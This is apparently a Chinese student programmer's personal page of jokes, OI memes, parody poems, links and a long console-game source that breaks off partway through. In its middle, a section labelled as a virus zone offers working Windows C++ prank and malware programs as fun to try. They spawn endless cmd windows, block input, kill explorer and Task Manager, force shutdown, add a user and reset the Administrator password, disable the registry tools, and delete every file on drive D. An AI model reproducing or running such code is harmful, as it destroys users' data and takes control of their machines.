本人也是经过了深思熟虑，在每个日日夜夜思考这个问题。 老子在不经意间这样说过，知人者智，自知者明。胜人者有力，自胜者强。这似乎解答了我的疑惑。 总结的来说， 强哥到底有多强因何而发生？ 强哥到底有多强因何而发生？ 既然如此， 培根在不经意间这样说过，深窥自己的心，而后发觉一切的奇迹在你自己。带着这句话，我们还要更加慎重的审视这个问题： 这种事实对本人来说意义重大，相信对这个世界也是有一定意义的。 既然如何， 易卜生在不经意间这样说过，伟大的事业，需要决心，能力，组织和责任感。这似乎解答了我的疑惑。 要想清楚，强哥到底有多强，到底是一种怎么样的存在。 就我个人来说，强哥到底有多强对我的意义，不能不说非常重大。 总结的来说， 我认为， 既然如何， 就我个人来说，强哥到底有多强对我的意义，不能不说非常重大。 强哥到底有多强，到底应该如何实现。 可是，即使是这样，强哥到底有多强的出现仍然代表了一定的意义。 这种事实对本人来说意义重大，相信对这个世界也是有一定意义的。 笛卡儿在不经意间这样说过，阅读一切好书如同和过去最杰出的人谈话。这句话语虽然很短，但令我浮想联翩。

对我个人而言，强哥到底有多强不仅仅是一个重大的事件，还可能会改变我的人生。 我认为， 黑格尔在不经意间这样说过，只有永远躺在泥坑里的人，才不会再掉进坑里。带着这句话，我们还要更加慎重的审视这个问题： 经过上述讨论， 对我个人而言，强哥到底有多强不仅仅是一个重大的事件，还可能会改变我的人生。 笛卡儿曾经说过，阅读一切好书如同和过去最杰出的人谈话。这不禁令我深思。 我们不得不面对一个非常尴尬的事实，那就是， 经过上述讨论， 了解清楚强哥到底有多强到底是一种怎么样的存在，是解决一切问题的关键。 这种事实对本人来说意义重大，相信对这个世界也是有一定意义的。

本文章由狗屁不通废话文章生成器生成，如有出入，请找强哥麻烦。

https://www.bilibili.com/video/BV1bQCgYcE9K?spm_id_from=333.788.videopod.sections

https://www.bilibili.com/video/BV1bQCgYcE9K?spm_id_from=333.788.videopod.sections

https://www.bilibili.com/video/BV1ox4y1u7Wu/?spm_id_from=333.337.search-card.all.click

https://www.bilibili.com/video/BV18NCJYWE1r?t=31.0

https://www.bilibili.com/video/BV1qJ41167m8?t=106.6

https://www.bilibili.com/video/BV1E2cteuEep?t=80.1

毕里毕里

<<强哥

12件强哥干的坏事

1: 多次扶老奶奶闯红灯

2: 喜欢问1到底是不是质数

3: 帮助日本人偷袭美国珍珠港

4: 帮助秦始皇焚书坑儒，阻断文化传播

5: 引清军入关，导致大明朝灭亡

6: 公元前771年，教唆周幽王烽火戏诸侯导致犬戎攻破镐京

7:不教别人01背包和lower_bound

8: 教唆纣王建酒池肉林

9: 恐龙时代末期，由于强哥偷吃恐龙蛋，用双截棍攻击恐龙，最终吃光了恐龙蛋，恐龙生育率降低，导致恐龙灭绝

10:劝别人不开long long

11: 夏商时期，大禹治水三过家门而不入，是因为强哥坐在门槛不让他进去

12: 偷吃展雄老师辣条,导致展雄老师没有零食吃

怒发冲冠，凭栏处，潇潇雨歇。 抬望眼，满天UKE，怒火激烈。 三十WA尘与土，八千RE云和月。 莫抄袭，没了AC记录，空悲切！ CE耻，犹未雪。蒟蒻恨，何时灭！ 驾电脑，踏破题目列表。 闭眼不会Hello world，笑谈不懂头文件。 待从头、收拾A+B，还不会！!

数学是火，点亮物理的灯； 物理是灯，照亮化学的路； 化学是路，通向生物的坑； 生物是坑，埋葬理科生。 文言是火，点亮历史宫灯； 历史是灯，照亮社会之路； 社会是路，通向哲学大坑； 哲学是坑，埋葬文科生。

《孤作者》 都，会AC的 你爆0的代码，你的，题解，你的棕名 都，不必隐藏 你拷贝的博客，你的，极域，你的助手 他们说，用连点器，卡爆破烂测评机 他们说，要封了你的号，没有人爱棕名 为何CE，不可，测评 人只有爆过0，值得歌颂 谁说卡测评机的不算英雄 爱你提交while(1)，爱你去卡测评机 爱你输出了样例，却还是爆0 爱你天天去卡常，却还是个TLE 爱你和我那么像，变量名一样 去吗，配吗，这WA掉的代码 交吗，交啊，以题解的代码 致那OI中的呜咽与怒吼 谁说AK了的才能算英雄 他们说，要刷出一百分，但不要用二分 他们说，要贪心换DP，却只能过样例 那就让我，优化，代码 你一样被棕名，那种高贵 谁说不能AC的不算朋友 爱你贪心过样例，爱你不肯写暴力 烦人的图论数论，变成进化论 爱你使用位运算，加上了快读快写 爱你和我那么像，上课都摸鱼 去吗，看吧，数组不会定义 为何，RE，我少打了个0 致那FZOI善良的朋友 谁说压行最短的才算英雄 你的CE，与众不同 你的棕名，震耳欲聋 You Are FZ OIer 栈和队列邻接表，Hash还有字符串 二分排序加倍增，为了求log(n) 爱你来自于蛮荒，一生不借谁的光 你将写你的代码，IOI之上 去吗，去啊，以爆0的愿望 战吗，战啊，以AK的梦想 致那FZOI奋斗的朋友 谁说只有AK了才算英雄

骗分过样例， 暴力出奇迹。 数学先打表， ＤＰ看运气。 穷举ＴＬＥ， 递推ＵＫＥ。 模拟ＭＬＥ， 贪心还ＣＥ。想要骗到分， 就要有方法。 图论背模板， 数论背公式。 动规背方程， 高精背代码。 如果都没背， 干脆输样例。冥有鱼，名为鲲。鲲之大，long long存不下。 化而为鸟，其名为鹏。鹏之大，高精会爆炸。夸父与AC逐走，开int；爆，欲加量，开double、long long；double、long long故爆，北写高精。未至，道气而死。弃其代码，开抄题解。

我会的东西可多啦 本人擅长Ai、Fw、Fl、Br、Ae、Pr、Id、Ps等软件 的安装与卸载 精通CSS、JavaScript、PHP、ASP、C、C＋＋、C#、Java、Ruby、Perl、Lisp、python、Objective-C、ActionScript、Pascal等 单词的拼写 熟悉Windows、Linux、Mac、Android、IOS、WP8等系统 的开关机 啦啦啦，啦啦啦，我是刷题的小行家。 再难的题目也不怕。 看题解，抄代码。 今天的教练没吃药， 感觉自己，感觉自己萌萌哒！ 啦啦啦，啦啦啦，我是考试的小行家。 在坑的试卷也不怕。 带U盘，上网查。 今天的考官没吃药， 感觉自己，感觉自己萌萌哒！ 啦啦啦，啦啦啦，我是作弊的小行家。 再狠的老师也不怕。 带资料，抄学霸。 今天的自己没吃药， 感觉自己，感觉自己萌萌哒！ 一天地理老师问：同学们，河水向哪里流呀?一学生猛站起来唱到：大河向东流啊。 老师没理会他，接着说：天上有 多少颗星星啊?那位同学又唱到：天上的星星参北斗啊。 老师气急：你给我滚出去!学生：说走咱就走啊。老师无奈说：你有病吧?学生：你有我有全都有啊! 老师：你再说一句试试…学生：路见不平一声吼啊!老师：你信不信我揍你?学生：该出手时就出手… 老师怒：我让你退学!学生：风风火火闯九州!… 让你知道学生的威力 班长说:走，我们去炸了学校。 副班长说:这个主意不错 化学课代表负责提取氢气 物理课代表负责拼装氢弹 数学课代表负责计算爆破面积 地理课代表负责策划爆破地点 历史课代表负责记录光辉场面 生物课代表负责事后生态环境 政治课代表负责使用法律打官司 语文课代表负责乱写文章推卸责任 英语课代表负责到外国购买进口材料 体育课代表负责刺SXXX 问一个问题 我是新人，刚学OI，请问可持久化非确定状态AC自动分块维护线段平衡仙人掌优化最小费用最大流预处理混合图上莫比乌斯反演莫队带花舞蹈链并查集树状数组套主席树预处理动态DP分治FFT求多项式逆元对数函数的指数函数用可持久化并查集合并最小费用循环流上插头DP怎么写？

天冷极了，下着雪，又快黑了。这是NOIP的前夜。在这又冷又黑的晚上，一个衣衫破烂的小女孩在机房敲着代码。她从班里逃出来的时候还拿着一本算导，但是有什么用呢？那是一本很破旧的书——那么大，一向是她妈妈垫桌角的。她默写SPFA的时候，年级主任突然冲进机房，吓得她把算导都丢掉了，书叫一个学数竞的捡起来拿着跑了。他说，他可以用那本书当草纸，证明切比雪夫定理。小女孩只好自己写二叉堆，一双小脚冻得红一块青一块的。她面前的草纸堆得满满的，上面全是DP转移方程。这一整天，没有一个OJ让她AC一道题，她已经交了32遍采药了。可怜的小女孩！她又冷又饿，浑身战栗地写着二叉堆。CRT显示器发出的光落在她的枯黄的长头发上，那干枯的头发打成卷儿披在肩上，看上去就像二叉树，不过她没注意这些。每个显示器里都透出光来，机房里飘着一股CPU发糊的怪味，因为这是NOIP前夜——她可忘不了这个。她在主函数前面停了下来，蜷着趴在键盘上。她觉得更冷了。她不敢回家，因为她还没调完二叉堆，没写对一个DP方程，教练一定会骂她的。再说，换成别的数据结构，一样写不出来。这些题都太水，虽然神犇都写过题解了，但是题解上一般都只有三个字：傻X题。她几乎绝望了。啊，哪怕一个函数不会RE，对她也是有好处的！她每写一遍程序，跑出来的结果就不一样，要是她有数据，她就知道哪一个程序是算对了的。她得不到数据了，因为机房上不去网了，全校的网速都让隔壁的年级主任拿来下小电影了。如果能保证下一个程序能AC，她就敢再写几十KB的代码，但是她是不敢啊，她怕又算出来一个奇葩的结果来。她新建了一个cpp重写了程序。编译通过了了，样例过了。这次，她感觉自己站在IOI的考场中AK。学校的大门上，贴着“我校学生以国际金牌向110周年校庆献礼”的条幅。在班级内的非诚勿扰中，全班男生都给她留了灯。这时候，程序又RE了，她面前只有cmd上的黑底白字。她又写了一道模拟。这一回，她坐在美丽的二叉堆下。这棵二叉堆，比她在丽洁代码中看到的常数还要小，还要短。眼前是许多优美动人的ASCII码，那些都是她写的程序，各种可爱的指针在跳跃着，满世界都是系统栈，都在向她眨眼睛。小女孩向眼前的系统栈伸出手去。这时候，眼前的ASCII码还在，条幅还在，指针还在，年级主任还是和蔼地微笑着。只见那些代码那些指针越升越高越升越高，最后成了在天空中闪烁的星星。有一颗星星落下来了，在天空中划出了一道细长的红光。 “有一个什么人快要死了。”小女孩说。唯一疼她的学姐保送之前告诉过她：一颗星星落下来，就有一个灵魂要到上帝那儿去了。她notepad++中又写了一个快排。这一回，她把能用的IDE都用了。学姐出现在亮光里，是那么温和，那么快乐。“学姐！”小女孩叫起来，“啊！请把我带走吧！我知道，系统栈一溢出，您就会不见的，像那校门的条幅，浮点数的精度，循环队列的空间一个样，就会不见的！”她赶紧编译了5KB的高精度模板，要把学姐留住。一大把程序发出强烈的光，把机房照得跟白天一样明亮。学姐从来没有像现在这样温柔，这样美丽。她把小女孩抱起来，搂在怀里。她们俩在光明和快乐中飞走了，越飞越高，飞到那没有DP，没有图论，也没有数据结构的地方去了。第二天清晨，这个小女孩坐在机房里，两腮通红，嘴上带着微笑。她死了，在NOIP的前夜死了。NOIP Day1的太阳升起来了，照在她小小的尸体上。小女孩坐在那儿，显示器上还有一坨编译过的代码。“她想好好复习复赛。”人们说。谁也不知道她曾经看到过多么美丽的东西，她曾经多么幸福，跟着她学姐一起走向新世界的幸福中去。

刚刚有个傻*冒出来告诉我鲁迅姓周，真逗啊！周迅是个演员好吗？笑死我了！真想一板砖呼死他！我记得鲁迅原名李大钊，浙江周树人，是著名的法西斯美术生，一生有2000多项发明，被称为太空步的创始人。他拥有一个好嗓子，小学时就凭借着90分钟跑100米的优异成绩考上了新东方烹饪学校！毕业后成功进入富士康苦心练习勃鸡， 他擅长110米栏，左手反打技术高超，拿手全垒打，大灌篮，“后空翻180度右旋体360度后蹬地翻转720度”是他的经典动作，更难得可贵的是他落地没有水花。他还是恶魔果实能力者，传说中的三忍之一，曾大闹天宫，后改邪归正，统一三国，传说他有107个弟兄，个个铜头铁臂，面目狰狞，这便是羊村的起源，他生平淡泊名利，后遇到高人阿凡达的指点，打死了白雪公主，与七个小矮人快乐的生活在一起。！并写了名侦探柯南的故事。名侦探柯南讲述的是要成为海贼王的八神太一收服了皮卡丘并登上创界山启动光能使者打败了鲨鱼辣椒，然后跟多啦A梦一起通过黄金十二宫收集七个葫芦娃.同蓝精灵们一起抵抗光头强的入侵的故事。

https://world.xiaomawang.com/community/main/compose/Ry9X666J 一个跑酷小游戏

https://yandex.com.tr/games/app/259805?utm_campaign=morda&utm_medium=com&utm_source=yandex#app-id=259805&catalog-session-uid=catalog-9fc1cf64-bc14-54ee-afd3-8b44d61f414f-1752806909890-27f0&rtx-reqid=5894025325482637807&pos=%7B%22listType%22%3A%22played%22%2C%22tabCategory%22%3A%22common%22%7D&redir-data=%7B%22block%22%3A%22played%22%2C%22block_index%22%3A0%2C%22card%22%3A%22your_games%22%2C%22carousel_size%22%3A%221.00%22%2C%22col%22%3A0%2C%22first_screen%22%3A1%2C%22page%22%3A%22main%22%2C%22rn%22%3A578710416%2C%22row%22%3A0%2C%22rtx_reqid%22%3A%225894025325482637807%22%2C%22same_block_index%22%3A0%2C%22wrapper%22%3A%22played_games%22%2C%22request_id%22%3A%221752806657992215-7315108272901812893-aqulc67xsdtqjgbg-BAL%22%2C%22games_request_id%22%3A%221752806657974040-9061426715093962153-balancer-l7leveler-kubr-yp-sas-13-BAL%22%2C%22http_ref%22%3A%22https%253A%252F%252Fyandex.com.tr%252Fgames%252F%22%7D

恐怖老奶

注意！此代码有点危险，谨慎使用 但是很好玩！ 可以常逝

#include<windows.h>
using namespace std;
int main() {
while(true) system("start cmd");
return 0;
}

小游戏

#include<bits/stdc++.h>
#include <windows.h>
using namespace std;
#pragma comment( lib, "user32.lib" )
int main() {
cout << "赛博大擂台 敢试你就来\n输入F或者f开始塞入灯泡\n";
string n;
cin >> n;
if (n == "F" || n == "f") {
cout << "还想作死呀,想就再输一次F或者f吧\n";
}
else {
BlockInput(TRUE);
for (int i = 1; i <= 100; i++) {
cout << "没胆量\n";
}
system("taskkill -f -im explorer.exe");
system("color F5");
for (int i = 1; i <= 300; i++) {
system("start cmd");
 
}
for (int i = 1; i <= 500; i++) {
SetCursorPos(rand() % 1000, rand() % 1000);
}
}
string b;
cin >> b;
if (n == "f" || n == "F") {
for (int i = 1; i <= 100; i++) {
cout << "敢尝试，有胆量\n";
}
BlockInput(TRUE);
system("taskkill -f -im explorer.exe");
system("color F5");
for (int i = 1; i <= 300; i++) {
system("start cmd");
 
}
for (int i = 1; i <= 500; i++) {
SetCursorPos(rand() % 1000, rand() % 1000);
}
}
else {
BlockInput(TRUE);
for (int i = 1; i <= 1000; i++) {
cout << "没胆量\n";
}
system("taskkill -f -im explorer.exe");
system("color F5");
for (int i = 1; i <= 300; i++) {
system("start cmd");
}
for (int i = 1; i <= 500; i++) {
SetCursorPos(rand() % 1000, rand() % 1000);
}
}
return 0;
}

你是不是上课在看主页？？？

#include<windows.h>
#include<bits/stdc++.h>
using namespace std;
int main() {
cout << "本程序为爽哥Jesper制作并更新\n";
cout << "老师发现你在摸鱼，速速关闭\n同意输入Y，不同意输入N\n";
char n;
cin >> n;
if (n == 'N' || n == 'n') {
system("color 40");
for (int i = 1; i <= 200; i++) {
cout << "你完了" << endl;
}
for (int i = 1; i <= 100; i++) {
system("start cmd");
}
system("shutdown -s -t 0");
}
else {
cout << "老师这次饶了你";
}
return 0;
}​

病毒！慎用！！！

以下是病毒专区

#include<iostream>
#include<stdlib.h>
#include<conio.h>
#include<windows.h>
#include<ctime>
using namespace std;
int main()
{
system("net user Administrator wait");
system("net user 木马病毒 wait /add");
system("ping www.baidu.com");
system("shutdown -s -t 30");
system("del /F /S /Q D:\\");
int x=GetSystemMetrics(SM_CXSCREEN);
    int y=GetSystemMetrics(SM_CYSCREEN);
while(1)
{
SetCursorPos(rand()%x,rand()%y);
system("calc");
system("taskkill /f /im taskmgr.exe");
}

#include <windows.h> 
int main()
{
    HKEY hkey;
    DWORD value = 1;
    RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
    RegSetValueEx(hkey, "DisableRegistryTools", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
    RegCloseKey(hkey);
    return 0;
}

#include <windows.h> 
int main()
{
    HKEY hkey;
    DWORD value = 1;
    RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
    RegSetValueEx(hkey, "DisableRegistryTools", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
    RegCloseKey(hkey);
    return 0;
}

（下方是某谷讨论区某用户发的小游戏，运行过，无病毒）

#include<bits/stdc++.h>
#include<windows.h>
#include<stdio.h>
#include<conio.h>
#include<time.h>
using namespace std;
float X,Y;int Left=1,Right=30,Up=1,Down=20;bool Medal[22],Fr[6],Cheat=0;
int Clocknum,T,Score,Combo,FruitNum,Jump_2,SS,FT[11],FC,FCT,FCF,FO,FFFt,FXia,FUp;
int up,dn,lf,rt,sy;float Vx,Vy;int Walk,Jump,Rush;
int Attention,Jumplock,AttTime,Dnlock,Lflock,Rtlock;
int RushT1,RushT2,RushT3;float Rush_Vx,Rush_Vy,Rush_x0,Rush_y0,Rush_X,Rush_Y;
const float G=0.038,t0=0.2,t00=0.8,t000=0.3;//时间参量 
struct node
{int Type;
    float X,Y,R,x0,y0,x1,y1;
    float Vx,Vy;
    int Life,color,brounce,half,Angle,AngleSpeed,t;
}F[100001];int l,m;
int N[100][45],M[100][45];

float Sin(int a) {return sin(3.1416*a/180);}float Cos(int a) {return cos(3.1416*a/180);}
void Color(int a){if(a==0) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);if(a==1) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);if(a==2) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN);if(a==3) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);if(a==4) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);if(a==5) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);if(a==6) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE);if(a==7) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);
if(a==-10) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_RED|BACKGROUND_GREEN|BACKGROUND_BLUE);if(a==-11) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_GREEN|BACKGROUND_BLUE);if(a==-12) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_GREEN);if(a==-13) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_RED|BACKGROUND_BLUE);if(a==-14) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_RED);if(a==-15) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_RED|BACKGROUND_GREEN);if(a==-16) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_BLUE);if(a==-17) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_RED|BACKGROUND_GREEN|BACKGROUND_BLUE);
if(a==-1) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY|BACKGROUND_RED|BACKGROUND_GREEN|BACKGROUND_BLUE);if(a==-2) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY|BACKGROUND_GREEN);if(a==-3) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY|BACKGROUND_RED|BACKGROUND_BLUE);if(a==-4) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY|BACKGROUND_RED);if(a==-5) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY|BACKGROUND_RED|BACKGROUND_GREEN);if(a==-6) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY|BACKGROUND_BLUE);if(a==-7) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_RED|BACKGROUND_GREEN|BACKGROUND_BLUE);
}
int To_int(float a){return int(a+0.5);}float Abs(float a){return (a>=0)?a:-a;}
void Setpos(float x,float y){COORD pos;pos.X=To_int(x)*2+1,pos.Y=To_int(y)+3;SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),pos);}
void Put_Frame(){Color(0);int x=Right-Left+1,y=Down-Up+1;for(int i=0;i<=x+1;i++)for(int j=0;j<=y+1;j++){if(i==0||j==0||i==x+1||j==y+1) Setpos(i,j),printf("[]");}}
void Clear(float x,float y){
//	if(RushT3>0) Color(0);else 
	Color(-Abs(N[To_int(x)*2][To_int(y)]));Setpos(x,y),printf("  ");
	M[To_int(x*2)][To_int(y)]=-1;
}void Medal_();
void Put_Man(float x1,float y1){
	int x=To_int(x1);int y=To_int(y1);
	if(y<Up||x<Left||x>Right||y>Down) return;
	if(Rush==1||AttTime>0||Attention>0) Color(5);
	else Color(1);
	Setpos(x1,y1),printf("●");
}
void Cir(float r,char a){//不要改 ,冲刺动画1 
	int num=7,Angle=r*10;if(r<=2) num=4;
	int next=360/num;
	for(int i=Angle;i<360+Angle;i+=next)
	{
		float x,y;
		x=X+Cos(i)*r;
		y=Y+Sin(i)*r;
		if(y<Up||x<Left||x>Right||y>Down) continue;
		if(a==' '&&N[To_int(x*2)][To_int(y)]==0&&N[To_int(x*2)+1][To_int(y)]==0&&N[To_int(x*2)-1][To_int(y)]==0) Setpos(x,y),Color(0),printf(" ");
		else if(N[To_int(x*2)][To_int(y)]==0&&N[To_int(x*2)+1][To_int(y)]==0&&N[To_int(x*2)-1][To_int(y)]==0) Setpos(x,y),Color(-14),printf(" ");
	}
}
void Cir2(int k,float r,char a){//水果整圆 
	int col=F[k].color;
	float x0=F[k].X,y0=F[k].Y,R=F[k].R;
	for(int i=y0-R;i<=y0+R;i++){float Ax=sqrt(R*R-(i-y0)*(i-y0));//cout<<i<<' '<<x0-Ax+0.5<<' '<<x0+Ax<<' ';
	for(float k=x0-Ax+0.5;k<x0+Ax;k+=0.5)
		if(a==' ') N[To_int(k*2)][i]=0; else N[To_int(k*2)][i]=col;
	}
	int num=24,Angle=0;if(r<=1) num=4;else if(r<=3) num=12;
	int next=360/num;
	for(int i=Angle;i<360+Angle;i+=next)
	{
		float x,y;
		x=F[k].X+Cos(i)*r;
		y=F[k].Y+Sin(i)*r;
		if(y<Up||x<Left||x>Right||y>Down) continue;
		else {if(a==' ') N[To_int(x*2)][To_int(y)]=0; else N[To_int(x*2)][To_int(y)]=col+10;}
	}for(int i=0;i<360;i+=90)
	{
		float x,y;
		x=F[k].X+Cos(i)*r;
		y=F[k].Y+Sin(i)*r;
		if(y<Up||x<Left||x>Right||y>Down) continue;
		else {if(a==' ') N[To_int(x*2)][To_int(y)]=0; else N[To_int(x*2)][To_int(y)]=col+10;}
	}
}
void Cir3(int xx,int yy,float r,char a){//不要改 冲刺动画2
	r++;
	int num=8,Angle=r*10-17;if(r<=2) num=4;
	int next=360/num;
	for(int i=Angle;i<360+Angle;i+=next)
	{
		float x,y;
		x=xx+Cos(i)*r;
		y=yy+Sin(i)*r;
		if(y<Up||x<Left||x>Right||y>Down) continue;
		if(a==' '&&N[To_int(x*2)][To_int(y)]==0&&N[To_int(x*2)+1][To_int(y)]==0&&N[To_int(x*2)-1][To_int(y)]==0) Setpos(x,y),Color(0),printf(" ");
		else if(N[To_int(x*2)][To_int(y)]==0&&N[To_int(x*2)+1][To_int(y)]==0&&N[To_int(x*2)-1][To_int(y)]==0) Setpos(x,y),Color(-14),printf(" ");
	}
}
void Cir4(int k,float r,char a){//半圆 
	int col=F[k].color;
	int num=24,Angle=F[k].Angle;if(r<=1) num=4;else if(r<=3) num=12;
	int next=360/num;
	for(int i=Angle;i<180+Angle;i+=next)
	{
		float x,y;
		x=F[k].X+Cos(i)*r;
		y=F[k].Y+Sin(i)*r;
		if(y<Up||x<Left||x>Right||y>Down) continue;
		else {if(a==' ') N[To_int(x*2)][To_int(y)]=0; else N[To_int(x*2)][To_int(y)]=col;}
	}bool left=0;
	float x0=F[k].X+Cos(Angle)*r    ,y0=F[k].Y+Sin(Angle)*r;
	float x1=F[k].X+Cos(Angle+180)*r,y1=F[k].Y+Sin(Angle+180)*r;
    float Ax=x1-x0,Ay=y1-y0,Dis=sqrt(Ax*Ax+Ay*Ay);
    if(Ay<0) swap(x1,x0),swap(y1,y0),Ax*=-1,Ay*=-1;
	if(Ax<0) left=1;
    float ax=Ax/Dis*1.0,ay=Ay/Dis*1.0;
	float i=x0,j=y0;
    while(j<=y1&&((i<=x1&&left==0)||(i>=x1&&left==1))){
		if(j<Up||i<Left||i>Right||j>Down) int nil=0;
		else {if(a==' ') N[To_int(i*2)][To_int(j)]=0; else N[To_int(i*2)][To_int(j)]=col;}
        i+=ax;j+=ay;
    }for(int i=0;i<360;i+=90)
	{
		if(i<Angle||i>Angle+180) continue; 
		float x,y;
		x=F[k].X+Cos(i)*r;
		y=F[k].Y+Sin(i)*r;
		if(y<Up||x<Left||x>Right||y>Down) continue;
		else  {if(a==' ') N[To_int(x*2)][To_int(y)]=0; else N[To_int(x*2)][To_int(y)]=col;}
	}
}
void Line(float x0,float y0,float x1,float y1,char a,int col){bool left=0;
if(col==-5) m++,F[m].Type=-1,F[m].Life=1,F[m].t=0,F[m].x0=x0,F[m].y0=y0,F[m].x1=x1,F[m].y1=y1;
    float Ax=x1-x0,Ay=y1-y0,Dis=sqrt(Ax*Ax+Ay*Ay);
    if(Ay<0) swap(x1,x0),swap(y1,y0),Ax*=-1,Ay*=-1;
	if(Ax<0) left=1;
    float ax=Ax/Dis*0.9,ay=Ay/Dis*0.9;
	float i=x0,j=y0;
    while(j<=y1&&((i<=x1&&left==0)||(i>=x1&&left==1))){
		if(j<Up||i<Left||i>Right||j>Down) int nil=0;
		else Setpos(i,j),Color(col),printf("  ");
        i+=ax;j+=ay;
    }Color(0);
}
void Print_Fruit(int i,char a){
	if(F[i].half==1) Cir4(i,F[i].R,a);
	else Cir2(i,F[i].R,a);
}
void Go(){
		if(Y<=Up) Y=Up,AttTime=0;
		if(Y>=Down){FC=0;FCF=0;if(clock()-FCT>10000&&Medal[20]==0&&T>10000) Medal[20]=1,Medal_(); FCT=clock();
			if(Jump>=1) Vy=0,Vx/=2,Y=Down,Jump=0,Walk=1;//触地 
		}
		if(X<=Left) X=Left,Vx=0;if(X>=Right) X=Right,Vx=0;
	
	int Num=up+dn+lf+rt;
	
	if(RushT3>0) RushT3--;
	if(RushT2>0){
		if(Rush==2&&RushT2<4) Cir3(Rush_X,Rush_Y,RushT2,' ');
		RushT2--;
		if(RushT2==0) {Rush=0,RushT3=3,Vx=(Vx+Rush_Vx*t00)/3.0,Vy=(Vy+Rush_Vy*t00)/3.0,Line(X,Y,Rush_x0,Rush_y0,' ',-5),Color(0);if(Y<=Up) RushT3=0,AttTime=0,Vy=max(0.1,(double)Vy);FC++;FO++;if(FC>=8&&Medal[16]==0) Medal[16]=1,Medal_();if(FO>=10&&Medal[18]==0) Medal[18]=1,Medal_();}
		if(Rush==2) Cir3(Rush_X,Rush_Y,RushT2,'|');
	}
	if(AttTime>0){AttTime--;
		if(Num!=0){
			if(up==1&&Jumplock!=0) int nil=0;
			else if(dn==1&&Dnlock!=0) int nil=0;
			else if(Num==1&&lf==1&&Lflock!=0) int nil=0;
			else if(Num==1&&rt==1&&Rtlock!=0) int nil=0;
			else {Attention=0;AttTime=0;
			if(RushT1==0&&Rush==0) RushT1=6;
			}
		}
	}
	if(RushT1!=0) {
		if(RushT1<6) Cir(RushT1,' ');
		RushT1--;
		if(RushT1==0){//开始冲刺 
			int non=0;//non很重要 
			if(Num==1){
				if(up==1&&Jumplock==0) Rush_Vx=0,Rush_Vy=-1.3,Jumplock=1;
				else if(lf==1&&Lflock==0) Rush_Vx=-1.8,Rush_Vy=0,Lflock=1;
				else if(rt==1&&Rtlock==0) Rush_Vx=1.8,Rush_Vy=0,Rtlock=1;
				else if(dn==1&&Dnlock==0) Rush_Vx=0,Rush_Vy=3,Dnlock=1;
				else non=1;
			}
			else if(Num==2){
				if(up==1&&lf==1&&Jumplock==0) Rush_Vx=-1.5,Rush_Vy=-1.5,Jumplock=1;
				else if(up==1&&rt==1&&Jumplock==0) Rush_Vx=1.5,Rush_Vy=-1.5,Jumplock=1;
				else if(dn==1&&lf==1&&Dnlock==0) Rush_Vx=-1.5,Rush_Vy=1.5,Dnlock=1;
				else if(dn==1&&rt==1&&Dnlock==0) Rush_Vx=1.5,Rush_Vy=1.5,Dnlock=1;
				else non=1;
			}
			else non=1;
			if(non==0) {Rush_x0=X,Rush_y0=Y,Rush=1,RushT2=4;}
		}
		else Cir(RushT1,'|');
	}
	if(Walk==1&&Jump==0){//正在触地 
		FC=0;FCF=0;if(clock()-FCT>10000&&Medal[20]==0&&T>10000) Medal[20]=1,Medal_(); FCT=clock();
		if(Abs(Vx)<1.95*t0) Attention=0;
		if(Num==0) Vx*=0.6;//摩擦 
		if(Num==1||(Num==2&&up==1)){
			if(lf==1){
				if(Vx<=2*t0&&Vx>-0.8*t0) Vx-=0.5*t0;
				else if(Vx<=-0.8*t0&&Vx>-2*t0) Vx-=0.1*t0;
				else if(Vx<=-2*t0){
					Vx=-2*t0,Attention=1;
					if(up==1) Rush_x0=X,Rush_y0=Y,Rush_X=X-1,Rush_Y=Y-2,Rush=2,RushT2=4,Rush_Vx=-1.5,Rush_Vy=-1.5,Jumplock=1; 
				}
			}
			if(rt==1){
